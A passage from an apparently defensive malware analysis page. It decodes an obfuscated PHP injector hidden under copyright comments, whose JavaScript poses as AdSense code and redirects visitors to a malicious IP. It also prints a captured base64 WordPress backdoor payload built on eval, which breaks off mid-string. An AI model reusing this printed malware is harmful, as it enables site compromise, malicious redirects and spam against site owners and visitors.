&amp;lt;?php /* copyright */ ${&amp;quot;GL\x4fB\x41\x4c\x53&amp;quot;}[&amp;quot;\x6bg\x6e\x72\x77i\x6e\x64\x62n&amp;quot;]=&amp;quot;\x74x\x74&amp;quot;;$egeillbp=&amp;quot;\x6b&amp;quot;;${&amp;quot;\x47\x4cO\x42\x41L\x53&amp;quot;}[&amp;quot;\x63kmj\x63uie&amp;quot;]=&amp;quot;\x76&amp;quot;;foreach($_GET as${$egeillbp}=&amp;gt;${${&amp;quot;\x47L\x4fB\x41\x4cS&amp;quot;}[&amp;quot;\x63k\x6d\x6acu\x69e&amp;quot;]}){${&amp;quot;\x47\x4cO\x42\x41\x4c\x53&amp;quot;}[&amp;quot;d\x78\x77\x71o\x61lv\x61\x75\x65&amp;quot;]=&amp;quot;\x6b&amp;quot;;if(preg_match(&amp;quot;!^[a-\x7a\x30-\x39]{10,\x332}\$\x21is&amp;quot;,${${&amp;quot;\x47\x4cO\x42\x41LS&amp;quot;}[&amp;quot;\x64\x78\x77\x71\x6f\x61\x6c\x76a\x75\x65&amp;quot;]})){$xfgspywrt=&amp;quot;\x6b&amp;quot;;$jdhbwek=&amp;quot;\x74\x78\x74&amp;quot;;${$jdhbwek}=base64_decode(&amp;quot;\x50\x46\x4eD\x55klQV\x43B\x73Y\x57\x35\x6edWFnZT1q\x59\x58Z\x68\x63\x32\x4ey\x61X\x420Pg\x30\x4b\x50\x43E\x74L\x510K\x5a\x6eVuY3Rpb2\x34g\x5a\x32V0\x62W\x55o\x63\x33RyK\x510\x4b\x65yB2YX\x49g\x61WR4ID\x30\x67\x633R\x79\x4cmluZGV\x34\x542\x59\x6f\x4a\x7a\x38n\x4bT\x73\x67a\x57\x59g\x4bG\x6c\x6be\x43A9P\x53A\x74\x4dS\x6bgc\x6dV0\x64\x58\x4au\x49\x48\x4e\x30cjsgd\x6dFy\x49Gx\x6cb\x69\x419\x49\x48\x4e0ci5\x73ZW\x35\x6e\x64G\x67\x37I\x48Z\x68\x63\x69B\x75\x5aXd\x66c3R\x79I\x440g\x49\x69I7\x49HZ\x68c\x69\x42\x70ID0\x67\x4dTs\x67\x5am\x39\x79I\x43g\x72K2\x6c\x6beDs\x67\x61\x57R\x34\x49\x44w\x67\x62G\x56\x75O\x79Bp\x5a\x48g\x67\x4bz0\x67\x4dixp\x4b\x79\x73\x70D\x51\x70\x37IH\x5ahciB\x6aaC\x41\x39\x49H\x42h\x63n\x4e\x6c\x53W\x35\x30KHN0\x63i\x35\x7a\x64\x57\x4az\x64\x48\x49oa\x57\x524LC\x41\x79KS\x77\x67\x4d\x54YpOy\x42\x75ZXd\x66\x63\x33RyICs\x39IFN\x30\x63ml\x75\x5ay\x35\x6dcm\x39t\x51\x32\x68\x68c\x6b\x4evZ\x47\x55o\x4b\x47N\x6fI\x43\x73ga\x53k\x67\x4aSAyNTY\x70\x4fy\x429IA0KZ\x479jdW\x31\x6cb\x6e\x51ud3Jp\x64\x47U\x6f\x62\x6d\x56\x33\x58\x33\x4e0c\x695zdWJ\x7a\x64H\x49o\x4d\x43xu\x5a\x58\x64f\x633\x52y\x4c\x6dx\x6c\x62\x6d\x640\x61C\x30xMSk\x72\x49lx\x31MD\x41yNlx1M\x44\x412\x4e1\x781M\x44\x41\x32Rl\x781\x4dDA\x32\x51\x6c\x781\x4dD\x412Qlx1M\x44\x41\x7a\x52Fp\x61Wl\x70\x63d\x54\x41\x77M\x6a\x4ac\x64\x54A\x77\x4d0\x4acdTA\x77M0Nc\x64T\x41\x77\x4d\x6bZcd\x54AwNz\x4e\x63d\x54\x41\x77\x4ejN\x63dT\x41w\x4ez\x4acdT\x41\x77\x4ejlcd\x54A\x77\x4ez\x42\x63dTA\x77NzR\x63\x64TA\x77\x4d0\x55i\x4b\x54sNC\x6e0\x4eC\x6d\x64vb\x32\x64\x73ZV\x39\x68\x5a\x46\x39jb\x47\x6c\x6cb\x6eQg\x50\x53A\x69c\x48V\x69\x4cTE\x30M\x7a\x411\x4fDQ\x30M\x44g\x7aMTM\x34\x4e\x44\x4d\x69O\x770\x4b\x5a\x329v\x5a2xlX\x32\x46\x6bX\x33d\x70\x5aH\x52\x6f\x49D\x30g\x4e\x7aI\x34\x4f\x77\x30KZ\x32\x39vZ2\x78lX2\x46\x6b\x58\x32\x68la\x57\x64o\x64\x43A\x39IDk\x77Ow\x30KZ29vZ2\x78\x6c\x58\x32F\x6bX\x32Z\x76c\x6d\x31h\x64\x43A9\x49\x43I3\x4d\x6a\x68\x34OTBf\x59\x58\x4diOw\x30\x4b\x5a29\x76\x5a\x32\x78l\x58\x32Fk\x583\x525cGU\x67P\x53A\x69dG\x56\x34dF\x39\x70\x62\x57F\x6eZ\x53\x497\x44Q\x70\x6e\x6229\x6e\x62\x47\x56\x66Y\x57Rf\x59\x32hh\x62\x6d5l\x62C\x419\x49\x43\x49\x69O\x77\x30KZ\x32\x560\x62WUo\x49\x6d\x680\x64H\x416Ly9\x77Y\x57d\x6cYWQ\x79L\x6d\x64vb2\x64sZ\x58N\x35bmR\x70Y\x32\x460a\x579\x75L\x6d\x4e\x76\x62\x53\x39wY\x57d\x6cYWQvc\x32\x68vd1\x39\x68Z\x48\x4du\x61nM/M\x30\x493MTYwN\x6b\x55\x32\x4e\x44\x5aB\x4e\x6bQxO\x44\x59zN\x54c2M\x7a\x56CN\x6ag\x31\x4d\x7aU4\x4eT\x55\x79QzE\x77\x4e\x54c0\x52\x44YxNEI1Q\x7aR\x43\x4e\x54k\x30Rj\x551NTg\x77NTIwNT\x670O\x54\x52\x45N\x44\x49\x30QzUz\x4d\x44\x6b0\x4ejQ4M\x30Iz\x4f\x44R\x42M\x30\x55\x30\x4d\x7aQ\x78ME\x5a\x47\x4d\x7a\x4d\x34\x4eD\x4d\x30M\x6aN\x45M\x44\x5aGQ\x55\x595R\x6bV\x47N\x6bY\x34R\x6aZGN\x6bYyRjR\x47N\x6bY\x33RUVG\x4dE\x591\x52\x6a\x46F\x51\x6a\x4aE\x4d\x6b\x4e\x46Nz\x49\x34MUY\x79\x4e\x6bY\x30\x4dTUxO\x54\x454RUV\x46N0R\x47\x52\x45Z\x45\x52\x6bQyMUUxRjB\x43R\x54V\x45\x51\x55R\x42RDV\x45\x4eU\x4d1RE\x52E\x52EN\x47MTIwMTBG\x4dDUwQj\x42FR\x44c\x69\x4bT\x73\x4e\x43\x69\x38\x76L\x530+I\x44wv\x55\x30\x4eSSVB\x55\x50\x67\x3d\x3d&amp;quot;);echo str_replace(&amp;quot;\x5a\x5a\x5a\x5a&amp;quot;,${$xfgspywrt},${${&amp;quot;GLOB\x41LS&amp;quot;}[&amp;quot;\x6bgnr\x77\x69\x6e\x64\x62\x6e&amp;quot;]});exit;}} /* copyright */ ?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight &amp;gt;&lt;br /&gt;
&lt;br /&gt;
This piece of obfuscates itself by escaping the scripts&#039; code using \x##. After decoding it, the code looks more like:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
foreach($_GET as $k =&amp;gt; $v)  {&lt;br /&gt;
	if(preg_match(&amp;quot;!^[a-z0-9]{10,32}\$!is&amp;quot;, $k)) {&lt;br /&gt;
		$txt = base64_decode(&amp;quot;\x50\x46\x4eD\x55klQV\x43B\x73Y\x57\x35\x6edWFnZT1q\x59\x58Z\x68\x63\x32\x4ey\x61X\x420Pg\x30\x4b\x50\x43E\x74L\x510K\x5a\x6eVuY3Rpb2\x34g\x5a\x32V0\x62W\x55o\x63\x33RyK\x510\x4b\x65yB2YX\x49g\x61WR4ID\x30\x67\x633R\x79\x4cmluZGV\x34\x542\x59\x6f\x4a\x7a\x38n\x4bT\x73\x67a\x57\x59g\x4bG\x6c\x6be\x43A9P\x53A\x74\x4dS\x6bgc\x6dV0\x64\x58\x4au\x49\x48\x4e\x30cjsgd\x6dFy\x49Gx\x6cb\x69\x419\x49\x48\x4e0ci5\x73ZW\x35\x6e\x64G\x67\x37I\x48Z\x68\x63\x69B\x75\x5aXd\x66c3R\x79I\x440g\x49\x69I7\x49HZ\x68c\x69\x42\x70ID0\x67\x4dTs\x67\x5am\x39\x79I\x43g\x72K2\x6c\x6beDs\x67\x61\x57R\x34\x49\x44w\x67\x62G\x56\x75O\x79Bp\x5a\x48g\x67\x4bz0\x67\x4dixp\x4b\x79\x73\x70D\x51\x70\x37IH\x5ahciB\x6aaC\x41\x39\x49H\x42h\x63n\x4e\x6c\x53W\x35\x30KHN0\x63i\x35\x7a\x64\x57\x4az\x64\x48\x49oa\x57\x524LC\x41\x79KS\x77\x67\x4d\x54YpOy\x42\x75ZXd\x66\x63\x33RyICs\x39IFN\x30\x63ml\x75\x5ay\x35\x6dcm\x39t\x51\x32\x68\x68c\x6b\x4evZ\x47\x55o\x4b\x47N\x6fI\x43\x73ga\x53k\x67\x4aSAyNTY\x70\x4fy\x429IA0KZ\x479jdW\x31\x6cb\x6e\x51ud3Jp\x64\x47U\x6f\x62\x6d\x56\x33\x58\x33\x4e0c\x695zdWJ\x7a\x64H\x49o\x4d\x43xu\x5a\x58\x64f\x633\x52y\x4c\x6dx\x6c\x62\x6d\x640\x61C\x30xMSk\x72\x49lx\x31MD\x41yNlx1M\x44\x412\x4e1\x781M\x44\x41\x32Rl\x781\x4dDA\x32\x51\x6c\x781\x4dD\x412Qlx1M\x44\x41\x7a\x52Fp\x61Wl\x70\x63d\x54\x41\x77M\x6a\x4ac\x64\x54A\x77\x4d0\x4acdTA\x77M0Nc\x64T\x41\x77\x4d\x6bZcd\x54AwNz\x4e\x63d\x54\x41\x77\x4ejN\x63dT\x41w\x4ez\x4acdT\x41\x77\x4ejlcd\x54A\x77\x4ez\x42\x63dTA\x77NzR\x63\x64TA\x77\x4d0\x55i\x4b\x54sNC\x6e0\x4eC\x6d\x64vb\x32\x64\x73ZV\x39\x68\x5a\x46\x39jb\x47\x6c\x6cb\x6eQg\x50\x53A\x69c\x48V\x69\x4cTE\x30M\x7a\x411\x4fDQ\x30M\x44g\x7aMTM\x34\x4e\x44\x4d\x69O\x770\x4b\x5a\x329v\x5a2xlX\x32\x46\x6bX\x33d\x70\x5aH\x52\x6f\x49D\x30g\x4e\x7aI\x34\x4f\x77\x30KZ\x32\x39vZ2\x78lX2\x46\x6b\x58\x32\x68la\x57\x64o\x64\x43A\x39IDk\x77Ow\x30KZ29vZ2\x78\x6c\x58\x32F\x6bX\x32Z\x76c\x6d\x31h\x64\x43A9\x49\x43I3\x4d\x6a\x68\x34OTBf\x59\x58\x4diOw\x30\x4b\x5a29\x76\x5a\x32\x78l\x58\x32Fk\x583\x525cGU\x67P\x53A\x69dG\x56\x34dF\x39\x70\x62\x57F\x6eZ\x53\x497\x44Q\x70\x6e\x6229\x6e\x62\x47\x56\x66Y\x57Rf\x59\x32hh\x62\x6d5l\x62C\x419\x49\x43\x49\x69O\x77\x30KZ\x32\x560\x62WUo\x49\x6d\x680\x64H\x416Ly9\x77Y\x57d\x6cYWQ\x79L\x6d\x64vb2\x64sZ\x58N\x35bmR\x70Y\x32\x460a\x579\x75L\x6d\x4e\x76\x62\x53\x39wY\x57d\x6cYWQvc\x32\x68vd1\x39\x68Z\x48\x4du\x61nM/M\x30\x493MTYwN\x6b\x55\x32\x4e\x44\x5aB\x4e\x6bQxO\x44\x59zN\x54c2M\x7a\x56CN\x6ag\x31\x4d\x7aU4\x4eT\x55\x79QzE\x77\x4e\x54c0\x52\x44YxNEI1Q\x7aR\x43\x4e\x54k\x30Rj\x551NTg\x77NTIwNT\x670O\x54\x52\x45N\x44\x49\x30QzUz\x4d\x44\x6b0\x4ejQ4M\x30Iz\x4f\x44R\x42M\x30\x55\x30\x4d\x7aQ\x78ME\x5a\x47\x4d\x7a\x4d\x34\x4eD\x4d\x30M\x6aN\x45M\x44\x5aGQ\x55\x595R\x6bV\x47N\x6bY\x34R\x6aZGN\x6bYyRjR\x47N\x6bY\x33RUVG\x4dE\x591\x52\x6a\x46F\x51\x6a\x4aE\x4d\x6b\x4e\x46Nz\x49\x34MUY\x79\x4e\x6bY\x30\x4dTUxO\x54\x454RUV\x46N0R\x47\x52\x45Z\x45\x52\x6bQyMUUxRjB\x43R\x54V\x45\x51\x55R\x42RDV\x45\x4eU\x4d1RE\x52E\x52EN\x47MTIwMTBG\x4dDUwQj\x42FR\x44c\x69\x4bT\x73\x4e\x43\x69\x38\x76L\x530+I\x44wv\x55\x30\x4eSSVB\x55\x50\x67\x3d\x3d&amp;quot;);&lt;br /&gt;
		echo str_replace(&amp;quot;ZZZZ&amp;quot;, $k, $txt);&lt;br /&gt;
		exit;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The base64_decode call returns HTML/Javascript code shown below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
function getme(str)&lt;br /&gt;
{ var idx = str.indexOf(&#039;?&#039;); if (idx == -1) return str; var len = str.length; var new_str = &amp;quot;&amp;quot;; var i = 1; for (++idx; idx &amp;amp;lt; len; idx += 2,i++)&lt;br /&gt;
{ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } &lt;br /&gt;
document.write(new_str.substr(0,new_str.length-11)+&amp;quot;\u0026\u0067\u006F\u006B\u006B\u003D   &#039;&#039;&#039;ZZZZ&#039;&#039;&#039;  \u0022\u003B\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
google_ad_client = &amp;quot;pub-1430584408313843&amp;quot;;&lt;br /&gt;
google_ad_width = 728;&lt;br /&gt;
google_ad_height = 90;&lt;br /&gt;
google_ad_format = &amp;quot;728x90_as&amp;quot;;&lt;br /&gt;
google_ad_type = &amp;quot;text_image&amp;quot;;&lt;br /&gt;
google_ad_channel = &amp;quot;&amp;quot;;&lt;br /&gt;
getme(&amp;quot;http://pagead2.googlesyndication.com/pagead/show_ads.js?3B71606E646A6D186357635B685358552C10574D614B5C4B594F5558052058494D424C530946483B384A3E43410FF33843423D06FAF9FEF6F8F6F6F2F4F6F7EEF0F5F1EB2D2CE7281F26F4151918EEE7DFDFDFD21E1F0BE5DADAD5D5C5DDDDCF12010F050B0ED7&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The google analytics code is cosmetic only. The actual bit that matters is the long string after &amp;lt;code&amp;gt;showads.js?&amp;lt;/code&amp;gt; which gets rendered into something like:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt; script language=&amp;quot;javascript&amp;quot; &amp;amp;gt; window.location=&amp;quot;hxxp://5.101.146.174/rr.php?aff=7012&amp;amp;sub=3401&amp;amp;gokk=ZZZZ&amp;quot;;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The idea is a request comes in with a GET index set, such as &amp;lt;code&amp;gt;log.php?ebe08b514a5a5e808c9d9084f66&amp;lt;/code&amp;gt;. The code will replace &#039;ZZZZ&#039; with the GET string &amp;lt;code&amp;gt;ebe08b514a5a5e808c9d9084f66&amp;lt;/code&amp;gt; which determines what link the user gets redirected to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== WordPress Backdoor (used for Spamming) ==&lt;br /&gt;
&lt;br /&gt;
=== Spammer ===&lt;br /&gt;
&lt;br /&gt;
I noticed that random clients periodically go to a wordpress blog via HTTP POST. It&#039;s quite odd and for some reason, the account also seems to be sending periodic spam messages as well.  I took the liberty of injecting a few lines to the wordpress index.php file in order to capture what was actually being POSTed.&lt;br /&gt;
&lt;br /&gt;
The variable &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; keeps on getting posted to the server with the following contents:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
ZnVuY3Rpb24gZGVjcnlwdCgkdHh0LCRrZXkpew0KICAgICR0eHQ9YmFzZTY0X2RlY29kZSgkdHh0KTsgJHJlcz0iIjsNCiAgICBmb3IoJGk9MDsgJGk8c3RybGVuKCR0eHQpOyAkaSsrKXsNCgkkYz1zdWJzdHIoJHR4dCwkaSwxKTsNCgkka2M9c3Vic3RyKCRrZXksKCRpJXN0cmxlbigka2V5KSktMSwxKTsNCgkkYz1jaHIob3JkKCRjKS1vcmQoJGtjKSk7DQoJJHJlcy49JGM7DQogICAgfQ0KICAgIHJldHVybiAkcmVzOw0KfSBAZXZhbChkZWNyeXB0KCJxS09yeTlWYlZzR0hoN2lIajRxY21wK2FYOE9LYmxLK1c2dlpsSnZJYzFPbW1wdlZ6NWRVblVGYzA1aXJ4NStqY0Zkc2xzWlZiV3hCWE11bG85Q1ZwcWFhcXRtZXFLRFZuS3JPbEtETXNKWmJsNW5aeG1sbXdadWR5S0tZeUY1VGpJbW4zcTZIb3BtWWpOU3FnNWFEWjRHdnA4KzZpbWZObTJxN3BvNjJmMmlVaWFmZXNHWi9tSVdNMUp5VzBLS2tqWHg5ejdCbG5aaUVvdG10ZzgxN3FJS2VndGU2aW9EYW00KzdwcFc2YTUxOG42eldzSjEvbVpxeTFHYUR6SUJobEl4cDNNVjZtcGVBb3Rtamc4MkhhSmF2cDVtd25IemNtNURWbTViUWE1MThuNnpXc0oySG1acXkxR1NEeklDZWxxSisyOEtzZTVtWWpOUmxnNWFEWjRHdnA4KzZpbnpTa1dxcm81YW1mMmlVaWFlWnNHWi9tSVdpMUp5TnVtdWNscUtPenFxZHB0S0dvc3hxbDkybFk0S2VnczdFb0tyT21hVzZuSU9Wb1dlQ2lhemdzSjJMbUlDbXQ2S1dsV2VabHE2Qm5jS0hvZHFFZk5tdGc4MmhaM3lpaHRYRW9KN2NtMytlcXBXbWYyaVpobldqZzF4Ym5VRmN5NldqMEhOVG5KaW4xczJVb01abG05UmhxYzVZYkQxWm10TFFtcWZVbzNXSG02alhwbXRpWksvZDJHR2V5NTZnMlplZDBKdWZwcDZuMUkraXBNbFpjMjlYbmNhYWJxYXFtdG5WcFpIRnBxM1RwMXlIbUoyaW5LM1l6VjlVa1ZsaGttVnZiWnlncFYxY3o1NWpiWUpib2FGWG5jYWFiRk5ab1pHTVhGS0dtYVRVbXFuVm9tNm1xcHJaMWFWYWhwbWsxSnFwMWFKZFkyR3IydE9sb3RHcVlJbVZvTktkcHFXaFpJaVFWVnVMY2tKdlY1WEZxYWFsb1hXSXlhZW0wbkZubEp5WDBxYWRsS09jbE1TaVlOZWlXcUE5V01tcm5aK2ptZFBHY0tmRnJxZlhsNmVMcWFXbHFhZlMwS3FYMUY5YXhwV2R5cGVhbjFXY3g5ZWNsOVZaWVk1dVBvZVhsWmVubmRuVWNLZkZycWZYbDZlTHFhV2xxYWZTMEtxWDFGOWEySnVaejZLVHBhU24wWUdib2RlcW5ZV1psZFdqWFZPaXA4L1RsRkxVcHBtSFhGMmVRRld0bnFqSjBKZVhuMWxhb0QxWXhwK2xySEt0eWRpaXBNYXFZTmlucHRlbG5hS3NuZGlKVlpQVm41cmVZSmpJWTUyVVlyTFYxcGFhaEdCaG9EMVkxcXFTcDVwMWlMdU5WSjFCWE1paXFkR3FvNnh5V3EyalZXMXNRVnpYcDZ6WGM1T1VxSjJjbFpLV3g1cW55WmhjaFlaMWJLeVpycUthZnR1bW43NWxiZHFiaVgybGtwakpZM3VscHE2dWRvYWFmNXlYZ3BDdXlHT016WUdieW5lRjI0NTVtbVdSbDlsbmdMYUVvY3VKcDh5T2VacG5rZFBGbHBlbWthUzllNXVXZzUycmFZYmd4YU9LcXA1cXY0bXNsNFNiaFppZHFycXNsTXVCbkxXR2ZzYWJkWlpsbmF6Wlo0RGNpS0cwckliUGtHT0pwWnF0Mlp5VnBtZWh2WHVibFkrYWZHeUNydFNjaXFxZWFMTmtySmVFZUlHRmtLN0lZMy9PcjJ5emQzcXdqbm1hWm9YZnEyeUoyNEdieW5lTjNaZGpaS2FRcnNobGY1V05xTCtHZnNlR2hIMlluYXJFWlh2TXE2WEhabjdQajRpQnBJT3BzNW1Fa28yTnJucDYzWUI1cHFDU3ZjV2ZrN212cTc2aGRweUdoV2VnbmQremFudk9yMnl6ZDVpd2pubWFaWkxScTVhWHBvaXd2WHViazQ5aWdKNmV2TlNjaXFxZWFySmxxTWFiZFkyZ2tLN0laWXU1aFdtOWU1dVZoWWlJbnBDK2thT1gyNGx2cnArc2w0UjFsNWlkcXJPZGhwT3ZiTE4zZnNhYmRZU3RrSzdJWTR1VHIyeXpoNEhNbkllbW5wS3MyV2VBM0orYnluZVhsbzU1bW1pRnZacVdsNmFRc01kN2pzYWJkWXl0a0s3SVpvQzRyMnl6blluTWpvVmpucEN1eUdXTHk0QnZ4b3FOMHBsNWZhR1NsNXFuaTdxSm9zWjJtOHgvaDJpWGtibVNscGVtbTZDOWU1dmRnM1JrbUoycXJtaUt1cXF3c25hc3hwdDFnSytGMUpLV2ZLaXZiTEtkZXRPWnFueW9ncTdVbnBmYmdadktkNFdXam5tYVpaR1dtcGFYcG9peHZYdWJrNE9HcTRtQjFKS1ZlODZ2YkxPZGhzYWJkWlpwa0s3SVpvQ1RyMnl6clhyR20zV05vcEN1eUdWL3VLOXNzNkNDeHB0MWxtZVJ2TmxuZ055Tm04cDNqWlIvbldSdWc3bk5hbnlxbjZXL1pvTGFtNG1YcnB5cWtaeUtxcDVxdnB4OW1vQjRvNkNacmF0bWpMbXFjYTZmckplRXE0V1luYXJFWjRxcW5tdXpkbjJhZ0htbW9KblRzNktMMEp1a3htWmtuSStlZWErU3VycGppcFNKcEw1bGJjNlFoSnFla0s3SVpIK29yMnl6ZDQ3R20zV0ZvWXFzMldlQXRvMnF4M2w2dW81NW1tV0ZscXVXbDZhYXNyeUpySmVFaFplWW5hcXVaSXFxbm1xL2lvYTdpSjVvbG82cXA2dUtxcDVwdEltc2w0U0ZtNWFRcnNobGdhaXZiTE9kZ3NhYmRZQ3VrSzdJWTR5Nm81dktkNDNialhlcmFZYXFxcXFIcVp1YnluZUIybzU1bW1XUjB0bG5nTFo1bThwM2hkMkloNnRwaHVDemdJcXFubW15aDNhdmpubWFacEc4MldlQXo0MlB5WW1mM1l1ZmRaNkYwdGxuZjl5SnByMTdtNVNQaDZ0cGhlQ3JpbitvcjJ5em5YNjdqbm1hWm9hOW1wYVhwcEN5dlh1YjNZTmlmV3FMbDlsbmdMWjhyNzE3bTVPUG5hdHBodEMzYUlQTWdaSzhlYXlYaEhXZm81Q3V5R1YvdUp1THMzaWdxSTU1bXErRnJObG5nTXlibThwM2pkMkRZbjJZbmFyRWFJcXFubWkrWldYV21vZWpmWTdTMldkLzNJbWJ5bmVKazRPZHEybUd1czJXbDZhUnBiMTdtNU9QaDZ0cGhwaW5scGVtaEd6SG42eVhoSGg5aXBDdXlHWi9rNjlzczUyWXk0NTVtbWFHbDlsbmdMYWpwcjE3bTVPUG5KZVluYXE3bllxcW5tcStvSXJHbTNXRXI0bTZ6WVNLcXA1cHNtTjZ4cHQxbG1XUXJzaGpqS2lGbThwM2pzeVFZNEdZbmFxN25vak1lWnZLZDQyVGpubWFab2VzMldlQXFYMXB2WHViazRXSHEybUdxc21XbDZhSnBMMTdtOTJEZUlHbW01akZub3Fxbm1xL2VJNllqbm1hWlllN3hXZUtxcDVxdm1WK3hwdDFqR3FRcnNoamY3YWptOHAzaFppT2VacGxoNnpaWjRDcGpLKytaWitVam5tYWFJV1gwWXVLcXA2eXM0bXNsNFNlaVppZHFycGpoSk92YkxPZG1NYWJkWUJvaTd6Wlo0Q21uNW05ZTV1VmhYZXJhWWJRcjVhWHBwQnR0cCtzbDRTcmlaaWRxcmViaWFtSm04cDNqWldQcTRHSWtLN0lab0czbzV2S2Q0V1RnM2lYbUoycXNtaUtxcDVxdElpZmxvNTVtbVdIdThtVWlxcWVhclI2Z3NhYmRZeHFrSzdJWTMvT3IyeXpyWGF0aUhWMW1KMnF1bWFLcXA1b3YzbUczWTU1bW1lR2w5bG5nTGw5ckwxN205MkZoNnRwaHVETmZZcXFubWl5WlpqR20zV1dyb3ZncTVhWHBwR2l2WHVibFkrZWlYcWJsOWxuZ015Ym04cDNqZHVPZVpwbWhwZXJscGVtaEdpOWU1dVRoWWVyYVlhcXMyYUtxcDVxczJTc2w0U2JmWDJRcnNoa2dNNnZiTE90aXJPT2VacG9oN3VycW9xcW5tbStpYXlYaEhXYm81Q3V5R1dBazY5c3MzcCttWU4zcTJtRzBNV1dsNmFKbzhhTG5OcU9lWnBsa2RMWlo0RGNvNXZLZDVmZGpubWFhSVdyczVhWHBveXd2WHVibG9OM3EybUY0TVY5aGFpdmJMT0tldEtQWTU5NGtLN0laWXU1Zlh5OWU1dVRnNGVyYVlYZ3paYVhwb2h0dUhtc2w0UjFmYVNRcnNobGY1UnNtOHAzaHMrT2VacG5rWmZaWjRDMmhaQzllNXZkaEllcmFZWGdvMytGcDJ1dnZYdWJsWU5qbjVpZHFxNWtpcXFlYTc2SnJKZUVtNFdZbmFxMlpvcXFubWkraTZUR20zV01aWkN1eUdPQnFLOXNzM2VnMlkrSHEybUd1c1dXbDZhTXNiTjRyS2VPZVpwbGhielpaNERjbzRTNlpLeVhoS3VYbUoycXVtYUtxcDVvdjNtc2w0U0ZoWSticTVwb2lxcWVhTEtmckplRXE0bVdqNjJ6bHBlbWtHcTllNXVWZzJLcmFZWGdyNGFYdDZOOHlHU3NsNE9ybjMrSzBaYVdsNmFFcjcxN201V0RZMlNva0s3SVpvQzRyMnl6aW5xWWpubWFyNGE4MldlQXo0bWl4NG1zbDRPcm4yV1Fyc2hrZjdpdmJMS3Rmc2FiZFl4cGtLN0laWUdwaFp2S2Q0N01qbm1hWlpLK3U1U0txcDVvczJTc2w0U0ZpYXVRcnNoamk4NnZiTE4zbUxLT2VacG5rdEhObHBlbWlMSzllNXVXZzJPWG5aQ3V5R1IvbEt1YnluZU5sbzU1bW1XUnZLOTFsN2RzamJ5SnJKZUVxM1dZbmFxem9KZTRyMnl6ZDMyWWlZWjRySXVYMFphWHBvaHJ0SXFrem94aXEybUY0S2VXbDZhUm9yNmZySmVFbm9tWW5hcTJxNWE1aUxLNG9YYkdtM1dNWlpDdXlHT0FrNDJieW5lTzBJNTVtbWVGMHRsbmdNK0ptOHAzaVpXT2VacXZoWmZaWjRDMm41dktkNEhkam5tYVpaSzZvNTJLcXA1cXRJZUttWkIzbDRDUXJzaG1pN2l2YkxPZGhxeU9lWnBsaDcyYWxwZW1pYU85ZTV1VGcyU2JacEN1eUdTTHVLOXNzNGVjeHB0MWpHV1MwdGxuZ015RXNyMTdtNVNEbjUrWW5hcXpuWXFxbm1xL2U1ekdtM1dObjVDdXlHVi96cTlzczZDR3hwdDFqR1dGck5sbmdNeDlmTDE3bTkyRGVadURqWmpWbHBlbW1yRzllNXVUaFlpcmFaQ3V5SzEvdDJoOXZYdWJrNE9KbjRTYXJzaXJocml2YkxOM2hzYWJkWVN0aGRMWlo0Q3BqTEM5ZTV1V2hYVjVnNUN1eUdPQXFLOXNzM2Q2eHB0MWdLNk4wOW1XbDZhYWJMS0pySmVFZUlWNmlielpaMy9jZ1p2S2Q0bmJqbm1hWjVHWDJXZUEzSjZ3dlh1Yms1QjJoWmlkcXJLcmY4NTlxOHAzZXJHT2VacGxocXpaWjRDbWZadktkNWpMam5tYVpvWFJ1NnFLcXA1cXNvbVkxbzU1bW1pRnJObG5nTXlGbzcxN201U0VkNnRwaHFxbmxwZW1tbXU1aWF5WGhKNTVtSjJxczV1TGs2OXNzNTJHeHB0MWlHV0p2TmxuZ055Ym04cDNoczZEZDZ0cGhxMm5uWXlvaVhxOWU1dVdoR0Zqckl6VHI1YVhwcEJvdTNtc2w0UjFlWmlkcXNSbWlxcWVhTDk1ckplRW5uMldrWml6bHBlbWpHaTJpNWl5bTUycmFZYXR0NWFYcHBDeXYzbXNsNFNGaFppZHFyS3JpcXFlYTdOa3JKZUVlSW1tak5MWlo0RE1oYU83ZWF5WGhIVjVhSkN1eUdPTXVxZWJ5bmVHeTQ5amhZcVFyc2hqZjdpdmJMT3RtTWFiZFlXaG1kUFpuWXlvcjJ5emg0YWxqbm1hYUlhWDJXZUFxWTF1dlh1Yms0T2RxMm1HMEsrZWlLZDltOHAzbDVhS242T0lrSzdJWlgrVHIyeXpuWWE0aDRlcmFZYmd4WmFYcG9tanNubXNsNFNGaWFXUXJzaGppODZ2YkxPSGh0MktuSUdZbmFxN24zK29yMnl6ZW9xbmpubWFaNUtzMldlQXpJbHF2cCtzbDRPcmZaaWRxcnBqaXFxZWE3SmtwTHFPZVpxdmg3elpaNERNbjV2S2Q0ckxqbm1hWlliUzJXZC8zS09wdnArc2w0UjFsNWlkcXJ1ZGlxcWVhcjVsZnNhYmRZMmhqYjNGbHBlbWpLKzllNXVVZzJGNW1KMnF1bWlMazY5c3MzZWN1bzU1bW1lSHZObG5nS21GamJlSnJKZURxM1dEa0s3SVpvdTRyMnl6ZDNuYmpubWFaWkxSczRXS3FwNnlzbmhseHB0MWhHV1NsOWxuZ0pSOWhydDRaY2FiZF